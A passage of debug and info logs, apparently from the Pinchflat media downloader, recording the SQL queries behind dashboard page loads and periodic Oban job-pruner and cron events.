'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:04:22.235 [debug] QUERY OK source="media_items" db=1.4ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:04:22.235 [debug] QUERY OK source="sources" db=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:04:22.237 [info] Sent 200 in 14ms 05:04:35.754 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.915 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:05.756 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:35.758 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.917 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:06:05.760 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:35.762 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.918 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:07:05.764 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:35.766 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.920 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:08:05.768 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:35.770 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.922 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:09:05.772 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:35.774 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.924 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:10:05.776 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:35.777 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.925 [info] {"source":"oban","duration":139,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:11:05.779 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:35.781 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.926 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:12:05.783 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:35.785 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.928 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:13:05.788 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:35.790 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.929 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:14:05.792 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:35.795 [info] {"source":"oban","duration":2114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.930 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:15:05.797 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:35.800 [info] {"source":"oban","duration":2128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.931 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:16:05.802 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:35.805 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.933 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:17:05.808 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:35.811 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.935 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:18:05.814 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:35.817 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.936 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:19:05.820 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:35.823 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.937 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:20:05.826 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:35.829 [info] {"source":"oban","duration":1872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.939 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:21:05.832 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:35.835 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.941 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:22:05.838 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:35.841 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:55.053 [info] GET / 05:22:55.053 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:22:55.054 [debug] QUERY OK source="settings" db=0.4ms idle=1500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:22:55.055 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1501.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:22:55.056 [debug] QUERY OK source="sources" db=0.2ms idle=1502.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:22:55.058 [debug] QUERY OK source="media_items" db=1.5ms idle=1331.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:22:55.058 [debug] QUERY OK source="media_items" db=0.3ms idle=331.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:22:55.058 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:22:55.059 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:22:55.059 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:22:55.060 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:22:55.060 [debug] QUERY OK source="media_items" db=0.3ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:22:55.061 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:22:55.061 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:22:55.064 [debug] QUERY OK source="media_items" db=1.3ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:22:55.066 [debug] QUERY OK source="media_items" db=1.4ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:22:55.066 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:22:55.067 [info] Sent 200 in 14ms 05:23:00.942 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:23:05.842 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:35.845 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.944 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:24:05.848 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:35.851 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:58.743 [info] GET / 05:24:58.744 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:24:58.745 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1190.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:24:58.745 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=1191.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:24:58.746 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1192.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:24:58.748 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=758.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:24:58.749 [debug] QUERY OK source="media_items" db=0.6ms idle=195.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:24:58.749 [debug] QUERY OK source="settings" db=0.0ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:24:58.749 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:24:58.750 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:24:58.751 [debug] QUERY OK source="tasks" db=0.2ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:24:58.751 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:24:58.752 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:24:58.753 [debug] QUERY OK source="sources" db=0.3ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:24:58.756 [debug] QUERY OK source="media_items" db=1.3ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:24:58.757 [debug] QUERY OK source="media_items" db=1.5ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:24:58.758 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:24:58.759 [info] Sent 200 in 16ms 05:25:00.946 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:25:05.853 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:35.856 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.947 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:26:05.859 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:35.862 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.949 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:27:05.865 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:35.868 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.951 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:28:05.871 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:35.874 [info] {"source":"oban","duration":2259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:29:00.952 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:29:05.877 [info] 